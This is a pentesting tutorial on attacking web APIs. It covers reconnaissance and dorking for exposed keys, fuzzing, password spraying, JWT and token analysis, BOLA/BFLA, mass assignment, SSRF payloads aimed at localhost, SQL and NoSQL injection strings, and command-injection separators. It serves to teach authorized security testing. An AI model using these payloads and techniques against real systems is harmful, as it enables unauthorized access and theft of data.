> For the complete documentation index, see [llms.txt](https://l1nuxkid.gitbook.io/l1nuxkid-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://l1nuxkid.gitbook.io/l1nuxkid-docs/api-pentesting.md).

# API Pentesting

### Introduction to APIs

APIs (Application Programming Interfaces) enable software systems and applications to communicate and share data. API testing is important because vulnerabilities in APIs can undermine core aspects of a website's confidentiality, integrity, and availability.

All dynamic websites are composed of APIs, so classic web vulnerabilities like SQL injection could be classified as API testing. This guide focuses on testing APIs that aren't fully exposed through the website front-end, with an emphasis on RESTful and JSON APIs, as well as GraphQL, RPC, and SOAP.

***

### API Architectural Styles

<figure><img src="/files/O7toHWdzJ2kbts0ROzKC" alt=""><figcaption></figcaption></figure>

#### REST API

According to IBM's definition, a REST API is an application programming interface that conforms to the design principles of REST (Representational State Transfer) an architectural style used to connect distributed hypermedia systems. REST APIs are sometimes referred to as RESTful APIs or RESTful web APIs.

REST is a set of design principles, not a strict protocol.

**Example of a bad implementation:**

Imagine a backend mechanism used to read and return a user, which follows this pattern:

```bash
POST /getuser
```

This doesn't follow good REST principles. A `POST` request is meant to send data to the server, but here it's being used to *retrieve* data which isn't semantically correct.

This is where REST API design rules come in: if you want to design a good API, follow REST's implementation rules.

**Rule: Use the appropriate HTTP verb**

Good implementation:

```bash
GET /users          # retrieve all users
GET /users/<id>     # retrieve a particular user
POST /users         # create a new user
DELETE /users/<id>   # delete a specific user
PATCH /users/<id>    # update a user
```

Bad implementation:

```bash
GET /getuser
POST /user/create
PUT /user/update
DELETE /user/delete/<id>
```

**Uniform Interface**

All API requests for the same resource should look the same, no matter where the request comes from. A REST API should ensure that the same piece of data, such as a user's name or email address, belongs to only one Uniform Resource Identifier (URI).

Resources shouldn't be too large, but should contain every piece of information the client might need.

**Statelessness**

REST APIs are stateless, meaning each request must include all the information necessary for processing it. In other words, REST APIs do not require server-side sessions the server isn't allowed to store any data related to a client's request.

REST APIs mostly work with JSON.

**Problem with REST APIs&#x20;*****=>*****&#x20;Overfetching**

```bash
GET /users/me
```

This fetches all defined info first name, last name, username, timestamp, ID, title even if you only wanted the `id` or the `title`. REST is designed to send everything as part of the response, which wastes network bandwidth. ***GraphQL*** solves this problem.

#### Comparing API Styles

REST isn't the only architectural approach. Other common styles include:

* **GraphQL**
* **RPC (gRPC)**
* **SOAP**

GraphQL solves the overfetching problem > it's a query language that says "query only what you need."

**Example:** If you only want `id`, `title`, and `name`:

```graphql
query Products {
  id
  title
  name
}
```

This returns only that data, nothing extra.

**Second problem GraphQL solves&#x20;*****=>*****&#x20;multiple round trips**

In REST, if you want two things say, user **info** and user **ID** you have to make two API calls:

```bash
GET /users/me
GET /users/info
```

In GraphQL, a single query fetches everything you need:

```graphql
query Products {
  id
  title
  name

  info {
    name
  }
}
```

**Key GraphQL characteristics:**

* GraphQL always uses the **`POST`** verb, whereas REST enforces verb-per-action rules (**`GET`** for reads, **`POST`** for creates, etc.).
* GraphQL has a single endpoint  typically `/graphql` ***=>*** rather than multiple endpoints like `/users/info/1`.
* To fetch data, you use a `query`:

```graphql
query Product {
  __schema
}
```

* To create or update data, you use a `mutation`:

```graphql
mutation Product(id=1) { ...data }
```

There's no `PATCH`, `PUT`, or `DELETE`  In GraphQL mutations handle everything, including deletes:

```graphql
mutation DeleteProduct(id=1)
```

***Twitter** uses GraphQL, and **Facebook** created it. The philosophy: <mark style="color:$success;">**describe your data, ask for what you want, and get predictable results.**</mark>*

#### RPC (Remote Procedure Call)

RPC stands for Remote Procedure Call "**procedure**" meaning *function*. A function has scope; normally it's stored on a server and executed locally when called. RPC is the technology that lets a client call a function that's stored and executed on a remote server hence "***remote procedure call***."

RPC doesn't use JSON. One common implementation is **gRPC**, which uses Protocol Buffers (**Protobuf**). You define your functions and their return types in a `.proto` file, and the client automatically loads that type definition.

#### SOAP (Simple Object Access Protocol)

SOAP is a messaging protocol with the following characteristics:

* SOAP strictly uses the **XML** data format due to its complexity.
* It's mostly used for complex systems with strict standards ensuring security and reliability.
* SOAP relies on **SSL** and **WS-Security** for secure communication.
* It manages records and maintains state between requests.

A SOAP message is an ordinary XML document containing the following elements:

* An **Envelope** element that identifies the XML document as a SOAP message.
* A **Header** element that contains header information.
* A **Body** element that contains call and response information.
* A **Fault** element containing errors and status information.

All the elements above are declared in the default namespace for the SOAP envelope.

**Syntax rules:**

* A SOAP message MUST be encoded using XML.
* A SOAP message MUST use the SOAP Envelope namespace.
* A SOAP message must NOT contain a **DTD** reference.
* A SOAP message must NOT contain XML processing instructions.

More info: [W3Schools > SOAP](https://www.w3schools.com/xml/xml_soap.asp)

***

### API Reconnaissance

<figure><img src="/files/qbNLxlCnWilNbXcWaPJ0" alt=""><figcaption></figcaption></figure>

To start API testing, you first need to gather as much information about the API as possible to discover its attack surface.

#### Identifying Endpoints

Endpoints are locations where an API receives requests about a specific resource on its server. For example:

```bash
GET /api/books HTTP/1.1
Host: example.com
```

The API endpoint here is `/api/books`, used to retrieve a list of books. Another endpoint might be `/api/books/mystery`, retrieving only mystery books.

Once you've identified endpoints, determine how to interact with them so you can construct valid requests. Find out:

* The input data the API processes, including compulsory and optional parameters.
* The types of requests the API accepts, including supported HTTP methods and media formats.
* Rate limits and authentication mechanisms.

#### Types of APIs (by Access Level)

**Public APIs** are meant to be easily found and used by end-users. They may be entirely open or require authentication, depending on the sensitivity of the data. If a public API only handles public information, no authentication is needed; otherwise authentication is usually required. Providers typically publish end-user-friendly documentation for public APIs.

**Partner APIs** are intended exclusively for the provider's partners. These can be harder to find if you aren't a partner, and documentation if it exists is often limited to partners only.

**Private APIs** are intended for internal use within an organization. Documentation is sparse or nonexistent, and even harder to find than partner API docs.

In all cases where documentation is unavailable, you'll need to reverse-engineer API requests.

#### Web API Indicators

Consumer-facing APIs are meant to be easily discovered. Providers often market their APIs to developer-consumers, so it's usually straightforward to find them by browsing the target as an end-user, or by finding their documentation.

Look around the target's landing page for links to an API or developer portal. Watch for URL naming schemes such as:

```bash
https://target-name.com/api/v1
https://api.target-name.com/v1
https://target-name.com/docs
https://dev.target-name.com/rest
```

Look for API indicators in directory names like:

```bash
/api, /api/v1, /v1, /v2, /v3, /rest, /swagger, /swagger.json, /doc, /docs, /graphql, /graphiql, /altair, /playground
```

Subdomains can also indicate web APIs:

```bash
api.target-name.com
uat.target-name.com
dev.target-name.com
developer.target-name.com
test.target-name.com
```

HTTP request/response headers are another indicator look for **`Content-Type: application/json`** or **`application/xml`**. Also watch for responses like:

```json
{"message": "Missing Authorization token"}
```

#### Third-Party Sources for API Discovery

* GitHub: <https://github.com/>
* Postman Explore: <https://www.postman.com/explore/apis>
* APIs Guru: **<https://apis.guru/>**
* Public APIs GitHub Project: <https://github.com/public-apis/public-apis>
* RapidAPI Hub: <https://rapidapi.com/search/>

#### Google Dorking for APIs

| Google Dorking Query                                      | Expected Results                                         |
| --------------------------------------------------------- | -------------------------------------------------------- |
| `inurl:"/wp-json/wp/v2/users"`                            | Finds publicly available WordPress API user directories. |
| `intitle:"index.of" intext:"api.txt"`                     | Finds publicly available API key files.                  |
| `inurl:"/api/v1" intext:"index of /"`                     | Finds potentially interesting API directories.           |
| `ext:php inurl:"api.php?action="`                         | Finds sites with a XenAPI SQL injection vulnerability.   |
| `intitle:"index of" api_key OR "api key" OR apiKey -pool` | Lists potentially exposed API keys.                      |

#### GitDorking

Regardless of whether the target develops its own software, it's worth checking GitHub for sensitive information disclosure. Developers use GitHub to collaborate, and searching it for OSINT can reveal a target's API capabilities, documentation, and secrets such as API keys, passwords, and tokens.

Useful search parameters:

```bash
filename:swagger.json
extension:.json
```

Search GitHub for your target's organization name paired with terms like "**api key**," "**apikey**," "authorization: Bearer," "**access\_token**," "**secret**," or "**token**." Then check the repository's Code, Issues, and Pull Requests tabs for endpoints and weaknesses.

<figure><img src="/files/fPTXw3HvoKTkWDgJJ0ML" alt=""><figcaption></figcaption></figure>

#### TruffleHog

TruffleHog automatically discovers exposed secrets. Run a scan of your target's GitHub org with:

```bash
sudo docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=target-name
```

TruffleHog can also search Git, GitLab, Amazon S3, filesystems, and Syslog. Use `-h` to explore these options. More info: <https://github.com/trufflesecurity/trufflehog>

#### Shodan

Shodan is the go-to search engine for internet-accessible devices. It regularly scans the entire IPv4 space and publishes results at **<https://shodan.io>**. It's especially useful for discovering external-facing APIs when you only have an IP or organization name.

| Shodan Query                       | Purpose                                                                                |
| ---------------------------------- | -------------------------------------------------------------------------------------- |
| `hostname:"targetname.com"`        | Basic search for a target's domain; combine with other queries below.                  |
| `"content-type: application/json"` | Filters results responding with JSON.                                                  |
| `"content-type: application/xml"`  | Filters results responding with XML.                                                   |
| `"200 OK"`                         | Filters for successful requests (APIs rejecting Shodan's format often return 300/400). |
| `"wp-json"`                        | Searches for apps using the WordPress API.                                             |

#### The Wayback Machine

The Wayback Machine archives web pages over time great for passive API recon. If a target once advertised a partner API but now hides it behind an authenticated portal, you might spot that change here. It's also useful for tracking changes to API documentation and finding retired endpoints that still exist known as **Zombie APIs**. Zombie APIs fall under the **OWASP** "***Improper Assets Management***" category. Comparing historical documentation snapshots simplifies testing for this issue, and you should always test old/retired endpoints during active testing.

#### API Documentation

APIs are usually documented so developers know how to integrate with them. Documentation can be human-readable (explanations, examples, usage scenarios) or machine-readable (structured JSON/XML formats for automation).

Public APIs usually have publicly available documentation always start recon there if it exists.

#### Discovering Undocumented API Documentation

Even without open documentation, you may find it by browsing applications that use the API. Use Burp Scanner to crawl the API, or browse manually with Burp's browser. Look for endpoints like:

* `/api`
* `/swagger/index.html`
* `/openapi.json`

If you find a resource endpoint like `/api/swagger/v1/users/123`, investigate the base paths too:

* `/api/swagger/v1`
* `/api/swagger`
* `/api`

You can also use a list of common paths with Intruder.

#### Using Machine-Readable Documentation

Use Burp Scanner to crawl and audit OpenAPI documentation (JSON or YAML), or the OpenAPI Parser ***BApp***. Specialized tools like Postman or **SoapUI** can test documented endpoints directly.

Also check JavaScript files for endpoint references that haven't been triggered directly via the browser. Burp Scanner extracts some of these automatically during crawls; for heavier extraction, use the [**JS Link Finder**](https://portswigger.net/bappstore/0e61c786db0c4ac787a08c4516d52ccf) BApp, or review JS files manually.

Since an endpoint may support multiple **HTTP** methods, test all of them this may reveal extra functionality. For example, `/api/tasks` might support:

* **`GET /api/tasks`**  retrieves a list of tasks
* **`POST /api/tasks`**  creates a new task
* **`DELETE /api/tasks/1`** deletes a task

Use ***Burp Intruder's built-in HTTP verbs*** list to cycle through methods automatically.

#### Identifying Supported Content Types

Endpoints often expect data in a specific format and may behave differently depending on the **`Content-Type`** header. Changing it may let you:

* Trigger errors that disclose useful information.
* Bypass flawed defenses.
* Exploit differences in processing logic (e.g., an API secure against JSON injection but vulnerable via XML).

Modify the `Content-Type` header and reformat the body accordingly. The [Content Type Converter BApp](https://portswigger.net/bappstore/db57ecbe2cb7446292a94aa6181c9278) can automatically convert request bodies between XML and JSON.

We can also perform **XSS,** if we the **`Content-Type`**  is Misconfigured

MORE: <https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/xss-in-api-via-content-type-misconfiguration>

***

### Reverse Engineering an API (No Documentation Available)

When an API isn't documented, or documentation is unavailable, you'll need to build your own request collection. There are two main methods:

#### Method 1: Manual Collection via Postman

Use Postman to collect API requests and manually build a collection. This takes more time but is worth knowing when you're in a pinch.

#### Method 2: Automatic Documentation via mitmproxy2swagger

1. Proxy all web application traffic using `mitmweb`:

```bash
mitmweb
```

This creates a proxy listener on port 8080. Configure your browser (e.g., via FoxyProxy) to proxy through port 8080, similar to a Burp Suite setup.

2. Use the target application as intended. Every request you generate is captured by the proxy. View captured traffic at `http://127.0.0.1:8081`.
3. Once you've explored everything you can, go back to the mitmweb interface and select **File > Save** to save the captured requests as a `flows` file.
4. Convert the `flows` file into an OpenAPI 3.0 YAML spec using `mitmproxy2swagger`:

```bash
sudo mitmproxy2swagger -i /Downloads/flows -o spec.yml -p http://crapi.apisec.ai -f flow
```

5. View the resulting spec at [editor.swagger.io](https://editor.swagger.io).

#### Finding and Exploiting Unused API Endpoints

Given a request like:

```bash
GET /api/products/1/price HTTP/2
```

Try changing the method to `OPTIONS` to discover other supported methods:

```bash
OPTIONS /api/products/1/price HTTP/2
```

Look at the response header:

```bash
Allow: GET, PATCH
```

Since <mark style="color:violet;">**`PATCH`**</mark> is allowed, you may be able to perform a partial update, such as changing the product's price:

```bash
PATCH /api/products/1/price HTTP/2
---SNIP---
Content-Type: application/json

{
    "price": 0
}
```

#### Finding Hidden Parameters

During recon, you may find **undocumented parameters** that the API supports and use them to change application behavior. Burp includes tools to help:

* **Burp Intruder** can automatically discover hidden parameters using a wordlist of common parameter names, either replacing existing parameters or adding new ones. Include names relevant to the application based on your recon.
* The [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) BApp can automatically guess up to 65,536 parameter names per request, tailored to the application based on scope information.

**Using Param Miner:**

1. Install the extension.
2. Right-click a request to mine for parameters. Select **Extensions > Param Miner > Guess params > Guess JSON parameter** (experiment with the other options too).
3. Set your preferred options and click OK. See the [unofficial documentation](https://github.com/nikitastupin/param-miner-doc) for details.
4. Go to **Extender > Extensions**, select Param Miner, then check the **Output** tab for results.
5. If new parameters are found, insert them into the original request and fuzz for results.

***

### Fuzzing APIs

Fuzzing is the process of sending various types of input to an endpoint to provoke an unintended response. Payloads include symbols, numbers, system commands, SQL/NoSQL queries, emojis, hexadecimal, booleans, and more. The goal is to find input the API isn't programmed to handle, causing verbose responses or adverse behavior. If input isn't sanitized or validated, the right payload can trigger a verbose response, processing delay, internal server error, or database error.

Fuzz all potential inputs, especially:

* Headers
* Query string parameters
* Parameters in **POST/PUT** requests

Your approach depends on how much you know about the target. If noise isn't a concern, send a wide variety of fuzzing inputs likely to break many supporting technologies. ***The more you know (database, OS, programming language), the more targeted and effective your payloads can be which is where good recon pays off***.

After fuzzing, search responses for verbose error messages or failures to properly handle the request especially signs your payload was interpreted as a command at the OS, programming, or database level. This might be as obvious as "**SQL Syntax Error**," or as subtle as a slightly longer processing time.

#### Endpoint Fuzzing Example

```bash
ffuf -X POST \
  -u http://10.1.40.144:3000/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -H "Cookie: user=pentester" \
  -H "Content-Type: application/json" \
  -d '{"test":"data"}'
```

#### Common API Endpoints to Check

```bash
api/v1/docs
api/v1/openapi.json
```

MORE: <https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d>

#### Discovering Injection Vulnerabilities via Fuzzing

Before exploiting an injection vulnerability, you need to know where to fuzz and what to fuzz with. When the API expects a certain input type (number, string, boolean), **try sending:**

* <mark style="color:blue;background-color:$warning;">**A very large number**</mark>
* <mark style="color:blue;background-color:$warning;">**A very large string**</mark>
* <mark style="color:blue;background-color:$warning;">**A negative number**</mark>
* <mark style="color:blue;background-color:$warning;">**A string instead of a number/boolean**</mark>
* <mark style="color:blue;background-color:$warning;">**Random characters**</mark>
* <mark style="color:blue;background-color:$warning;">**Boolean values**</mark>
* <mark style="color:blue;background-color:$warning;">**Meta characters**</mark>

This tests the limits of input validation. If a certain input type causes a verbose error or delayed response, you may be on the trail of an injection vulnerability.

***

### Authentication Attacks

#### Classic Authentication Attacks

Classic authentication attacks include long-standing techniques like brute forcing and password spraying.

**Password Brute-Force Attacks**

One of the most straightforward methods for gaining access to an API is a brute-force attack. Brute-forcing API authentication isn't very different from any other brute-force attack, except the request is sent to an API endpoint, the payload is often JSON, and authentication values may require **base64 encoding**.

**Password Spraying**

Many security controls can prevent successful brute-forcing. Password spraying evades many of these controls by combining a long list of usernames with a short list of targeted passwords. For example, if you know an API has a lockout policy allowing only 10 login attempts, you could craft a list of the nine most likely passwords (one less than the limit) and try them across many accounts.

When password spraying, large outdated wordlists like `rockyou.txt` won't work  there are too many unlikely passwords. Instead, craft a short, targeted list based on the password policy discovered during recon. Most policies require a minimum length, upper/lowercase letters, and a number or symbol.

Two useful categories of guesses:

1. **Obvious passwords:** `QWER!@#$`, `Password1!`, or the formula Season+Year+Symbol (e.g., `Winter2025!`, `Spring2025?`, `Fall2025!`, `Autumn2025?`).
2. **Target-specific passwords:** combining a capitalized word, number, organizational detail, and symbol.

Example password-spraying list for a hypothetical Twitter employee target:

```bash
Summer2025!
Spring2025!
QWER!@#$
March212006!
July152006!
Twitter@2025
JPD1976!
Musk@2025
```

### API Token Attacks

**Token Analysis with Burp Sequencer**

When implemented correctly, tokens are an excellent authentication and authorization tool. However, mistakes in generating, processing, or handling them can turn tokens into "keys to the kingdom."

**Process:**

1. Proxy your API authentication request into Burp Suite.
2. Right-click the request and forward it to **Sequencer**.
3. Sequencer can send thousands of requests to the provider and analyze the tokens received, which can reveal a weak token creation process.
4. In the **Sequencer** tab, use **Live Capture** to interact with the target and receive live tokens for analysis. You'll need to define the custom location of the token within the response click **Configure** next to Custom Location, highlight the token within quotations, and click OK.
5. Start the live capture. Wait for it to process thousands of requests, or click **Analyze now** for quicker results.

**Practicing with known bad tokens:**

To see what a poor token generation process looks like, analyze the "***bad tokens***" from the ***Hacking APIs*** GitHub repo:&#x20;

{% embed url="<https://raw.githubusercontent.com/hAPI-hacker/Hacking-APIs/main/bad_tokens>" %}

Use the **Manual load** option to provide this custom token set. Running the analysis reveals, via the Character-level analysis, that a 12-character alphanumeric token uses identical characters for the first 8 positions, with variation only in the final 3 characters consisting of two lowercase letters followed by a number (`aa#`). With this information, you could brute-force all possibilities in under 7,000 requests, then use those tokens against an endpoint like `/identity/api/v2/user/dashboard` and search the results for usernames and emails of interest.

#### **JWT Attacks**

JSON Web Tokens (JWTs) are among the most prevalent API token types, since they work across languages including Python, Java, Node.js, and Ruby. JWTs are prone to misconfigurations that leave them vulnerable to several attacks, potentially exposing sensitive information or granting unauthorized/administrative access.

A JWT consists of three base64-encoded parts separated by periods: **header**, **payload**, and **signature**. [JWT.io](https://jwt.io) is a free web-based JWT debugger. You can spot a JWT by its three period-separated segments, always starting with "***ey***"  the result of base64-encoding a curly bracket followed by a quote, which is how a decoded JWT always begins.

For a full breakdown of JWT attacks, see:&#x20;

{% embed url="<https://l1nuxkid.gitbook.io/l1nuxkid-docs/web-application-pentesting/all-about-jwt>" %}

**Automating JWT Attacks with JWT\_Tool**

The JSON Web Token Toolkit (`jwt_tool`) is a command-line tool for analyzing and attacking JWTs it can analyze tokens, scan for weaknesses, forge tokens, and brute-force signature secrets.

Key options:

* `-h` ***=>*** show verbose help options
* `-t` ***=>*** specify the target URL
* `-M` ***=>*** specify the scan mode
  * `pb` ***=>*** playbook audit (default tests)
  * `at` ***=>*** perform all tests
* `-rc` ***=>*** add request cookies
* `-rh` ***=>*** add request headers
* `-pd` ***=>*** add POST data

More info: <https://github.com/ticarpi/jwt\\_tool/wiki>

***

### Exploiting API Authorization

#### Broken Object Level Authorization (BOLA)

When authorization controls are lacking or missing, ***UserA*** can request ***UserB**'s* (and other users') resources. APIs use values like names or numbers to identify objects. Once you discover these object IDs, test whether you can interact with other **users**' resources while unauthenticated or authenticated as a different user.

**Three ingredients needed for BOLA exploitation:**

1. **Resource ID** ***=>*** the identifier used to specify a unique resource (could be a simple number or something more complex).
2. **Requests that access resources** ***=>*** you need to know which requests obtain resources your account shouldn't be authorized to access.
3. **Missing or flawed access controls** ***=>*** the API provider must lack proper access controls. Predictable resource IDs alone don't guarantee a vulnerability; it must be tested.

The third item must be tested directly, while the first two can be identified through documentation and your request collection.

**Finding Resource IDs and Requests**

Look for bold resource IDs in requests like:

```bash
GET /api/resource/1
GET /user/account/find?user_id=15
POST /company/account/Apple/balance
POST /admin/pwreset/account/90
```

You can likely guess other resources by altering these values:

```bash
GET /api/resource/3
GET /user/account/find?user_id=23
POST /company/account/Google/balance
POST /admin/pwreset/account/111
```

If you can successfully access information you shouldn't be authorized to see, you've discovered an authorization vulnerability.

<figure><img src="/files/WECYFmsNBSaNpZynMoZb" alt=""><figcaption></figcaption></figure>

#### Broken Function Level Authorization (BFLA)

Where **BOLA** is about accessing resources that don't belong to you, **BFLA** is about performing unauthorized *actions*. **BFLA** vulnerabilities are common in requests that perform actions on behalf of other users either **lateral actions** (same privilege level) or **escalated actions** (admin-level).

For example, on a social media platform, a user should be able to delete their own profile picture but not someone else's. They should be able to create or delete their own account but not perform admin actions on others'.

**BFLA** hunting looks similar to **BOLA** hunting, with the same three ingredients:

1. **Resource ID** ***=>*** the value used to specify a unique resource.
2. **Requests that perform authorized actions** ***=>*** test whether you can update, delete, or otherwise alter other users' resources.
3. **Missing or flawed access controls** ***=>*** the API provider must lack proper access controls.

The key difference: for **BFLA**, look for functional requests testing various HTTP methods actions of other users that you shouldn't be able to perform. Since we're thinking in terms of **CRUD** (create, read, update, delete), **BFLA** mainly concerns requests that update, delete, or create resources you shouldn't be authorized to touch. Scrutinize requests using **`POST`**, **`PUT`**, **`DELETE`**, and potentially **`GET`** with parameters. Search the documentation/collection for requests that alter other users' resources. If admin requests or separate admin documentation exist, test whether you can successfully invoke them as a non-admin user.

**Examples:**

```bash
POST /workshop/api/shop/orders/return_order?order_id=5893280.0688146055
POST /community/api/v2/community/posts/w4ErxCddX4TcKXbJoBbRMf/comment
PUT /identity/api/v2/user/videos/:id
```

Think like an attacker about impact. A successful exploit of the return-order request would let an attacker return *anyone's* orders potentially devastating for a low-return-rate business. The video-update `PUT` request could allow creating, updating, or deleting any user's videos damaging trust in the platform's security, with possible social engineering implications (e.g., uploading videos as another user).

The comment-posting request (`POST /community/api/v2/community/posts/.../comment`) only adds a comment and doesn't alter anyone else's post content, so despite looking interesting at first glance, it fulfills a legitimate business purpose and poses no significant risk. Don't waste further testing time on it.

**Testing methodology:** BFLA testing goes one step beyond BOLA's A-B testing  use **A-B-A testing**. Since BFLA can alter another user's resources, you want strong proof of concept: make valid requests as UserA, switch to UserB's token, attempt to alter UserA's resources, then switch back to UserA's account to verify success.

{% hint style="info" icon="circle-info" %}
⚠️ **Caution:** BFLA attacks, when successful, can alter other users' data  putting important organizational accounts and documents at risk. Do **not** brute-force BFLA attacks. Use a secondary account to safely test against your own resources. Deleting other users' resources in production will likely violate most bug bounty or penetration testing rules of engagement.
{% endhint %}

#### Mass Assignment Vulnerabilities

Mass assignment vulnerabilities occur when an attacker can overwrite object properties they shouldn't be able to. Several conditions must align: the API must accept user input, that input must be able to alter values not normally exposed to the user, and the API must lack the security controls to prevent this.

The classic example: during user registration, an attacker adds a parameter like **`"isadmin": "true"`** to a request that normally only contains username, email, and password. If the backend object has a corresponding field and the API doesn't sanitize input, the attacker could register their own admin account.

Mass assignment (also called auto-binding) can inadvertently create hidden parameters. It happens when frameworks automatically bind request parameters to fields on an internal object meaning the API may end up supporting parameters the developer never intended to expose.

**Identifying Hidden Parameters**

Look for interesting parameters in documentation, then add them to requests especially anything related to account properties, critical functions, or admin actions. Since mass assignment creates parameters from object fields, you can often spot hidden parameters by examining objects the API returns.

For example, a `PATCH /api/users/` request that updates username and email:

```json
{
    "username": "wiener",
    "email": "wiener@example.com"
}
```

A concurrent `GET /api/users/123` returns:

```json
{
    "id": 123,
    "name": "John Doe",
    "email": "john@example.com",
    "isAdmin": "false"
}
```

This suggests the hidden `id` and `isAdmin` parameters are bound to the internal user object, alongside username and email.

**Testing Mass Assignment**

Add the enumerated `isAdmin` field to your `PATCH` request:

```json
{
    "username": "wiener",
    "email": "wiener@example.com",
    "isAdmin": false
}
```

Also send an invalid value to test how the app responds:

```json
{
    "username": "wiener",
    "email": "wiener@example.com",
    "isAdmin": "foo"
}
```

If the app behaves differently for the invalid value versus the valid one, this suggests the parameter is actually processed. Then try setting it to `true` to attempt exploitation:

```json
{
    "username": "wiener",
    "email": "wiener@example.com",
    "isAdmin": true
}
```

If bound without validation, `wiener` may be incorrectly granted admin privileges. Confirm by browsing the app as `wiener` to check for admin functionality.

**Practical Example**

```bash
GET /api/checkout HTTP/2
```

Check allowed methods:

```bash
OPTIONS /api/checkout HTTP/2
```

Response:

```bash
Allow: POST, GET
```

Sample checkout response:

```json
{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":2,"item_price":133700}]}
```

Mass assignment attempt — modifying the discount:

```bash
POST /api/checkout HTTP/2
Content-Type: application/json

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":2,"item_price":133700}]}
```

Here, `chosen_discount.percentage` was changed to 100.

**Automating Discovery with Param Miner**

Install [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), then:

1. Right-click a request and select **Extensions > Param Miner > Guess params > Guess JSON parameter** (try other options too).
2. Configure your desired settings and click OK. See the [unofficial docs](https://github.com/nikitastupin/param-miner-doc) for details.
3. Go to **Extender > Extensions > Param Miner**, then check the **Output** tab for results.
4. Insert any newly discovered parameters back into the original request and fuzz for results.

***

### Server-Side Request Forgery (SSRF) in APIs

SSRF flaws occur when an API fetches a remote resource without validating the user-supplied URI. This lets an attacker coerce the application into sending a crafted request to an unexpected destination even bypassing firewalls or VPNs. SSRF is one of the most commonly found API vulnerabilities.

There are two types:

* **In-Band SSRF** ***=>*** the server responds with the resource content specified by the attacker. If the attacker points to `http://google.com`, the server fetches it and returns Google's content in the response.
* **Blind SSRF** ***=>*** the server makes the request but doesn't return the fetched content to the attacker. To prove exploitation, you need a web server you control to capture the outbound request.

#### In-Band SSRF Example

Intercepted request:

```bash
POST api/v1/store/products
headers…
{
  "inventory":"http://store.com/api/v3/inventory/item/12345"
}
```

Attack:

```bash
POST api/v1/store/products
headers…
{
  "inventory":"http://localhost/secrets"
}
```

Response:

```
HTTP/1.1 200 OK
headers...
{
  "secret_token":"crapi-admin"
}
```

MORE About SSRF:

{% embed url="<https://l1nuxkid.gitbook.io/l1nuxkid-docs/web-application-pentesting/all-about-ssrf>" %}

Potentially dangerous schemas that can also be used.&#x20;

```bash
dict://
file://
ftp://
gopher://
ldap://
smtp://
telnet://
tftp://
```

MORE: <https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf>

#### Blind SSRF Example

Intercepted request:

```bash
POST api/v1/store/products
headers…
{
  "inventory":"http://store.com/api/v3/inventory/item/12345"
}
```

Attack:

```bash
POST api/v1/store/products
headers…
{
  "inventory":"http://localhost/secrets"
}

Response:
HTTP/1.1 200 OK
headers...
{}
```

Here, the response gives no indication of success. Instead of `http://localhost/secrets`, provide a URL for a web server you control to check whether a request was actually made. Burp Suite Pro's **Collaborator** is great for this. Free alternatives include:

* **<http://webhook.site>**
* **<http://pingb.in/>**
* **<https://requestbin.com/>**
* **<https://canarytokens.org/>**

Attack using webhook.site:

```bash
POST api/v1/store/products
headers…
{
  "inventory":"https://webhook.site/306b30f8-2c9e-4e5d-934d-48426d03f5c0"
}
```

After submitting, check webhook.site for any new incoming requests rather than relying on the API's response.

#### Where to Look for SSRF

When targeting an API for SSRF, look for requests that:

* Include full URLs in the POST body or parameters.
* Include URL paths (or partial URLs) in the POST body or parameters.
* Include headers with URLs, like `Referer`.
* Allow user input that could result in the server retrieving resources.

For more on SSRF, see:&#x20;

{% embed url="<https://l1nuxkid.gitbook.io/l1nuxkid-docs/web-application-pentesting/all-about-ssrf>" %}

***

### Injection Vulnerabilities (Highly Underrated)

The best way to discover injection points is fuzzing followed by careful response analysis.

#### SQL Injection Metacharacters

SQL metacharacters are characters that SQL interprets as functions rather than data. For example, `--` tells the SQL interpreter to treat the rest of the line as a comment. If an endpoint doesn't filter SQL syntax, any injected SQL will execute against the backend database.

SQL injection allows a remote attacker to interact with the backend SQL database potentially obtaining or deleting sensitive data like credit card numbers, usernames, and passwords, bypassing authentication, exfiltrating private data, or gaining system access.

Useful SQL metacharacters:

```bash
'
''
;%00
--
-- -
""
;
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
OR 1=1
```

A null byte (**`;%00`**) can trigger a verbose SQL error. **`OR 1=1`** is a conditional that's always true. Quotes can terminate a string early, causing errors or unexpected query states.

**Example authentication query:**

```sql
SELECT * FROM userdb WHERE username = 'hAPI_hacker' AND password = 'Password1!'
```

Supplying `' OR 1=1-- -` as the password transforms the query into:

```sql
SELECT * FROM userdb WHERE username = 'hAPI_hacker' OR 1=1-- -
```

This selects a user based on a true condition and skips the password check entirely (commented out), granting access. This can be attempted against both username and password fields. The `--` starts a single-line SQL comment; quotes can be used to escape the current query and append your own.

#### NoSQL Injection

APIs commonly use NoSQL databases because they scale well with typical API architectures. NoSQL injection is less well known than SQL injection, so you're more likely to find it unpatched.

NoSQL databases don't share as many commonalities as SQL databases do "NoSQL" simply means "not SQL," so each database has unique structures, query modes, vulnerabilities, and exploits. Common NoSQL metacharacters (mainly MongoDB) to manipulate the database:

```bash
$gt
{"$gt":""}
{"$gt":-1}

$ne
{"$ne":""}
{"$ne":-1}

$nin
{"$nin":1}
{"$nin":[1]}

{"$where": "sleep(1000)"}
```

* `$gt` selects documents greater than the provided value.
* `$ne` selects documents not equal to the provided value.
* `$nin` ("not in") selects documents whose field value isn't in the specified array.
* Others are designed to cause verbose errors or unusual behavior, such as authentication bypass or induced delays.

#### OS Command Injection

Knowing the target's operating system greatly helps here make the most of Nmap scans during recon.

As with other injection attacks, start by finding a potential injection point. OS command injection typically requires leveraging system commands the application has access to, or escaping the application context entirely. Target URL query strings, request parameters, and headers especially any that threw unique or verbose (OS-related) errors during fuzzing.

The following characters act as command separators, letting you chain multiple commands on one line:

```bash
|
||
&
&&
'
"
;
'"
`
$()
```

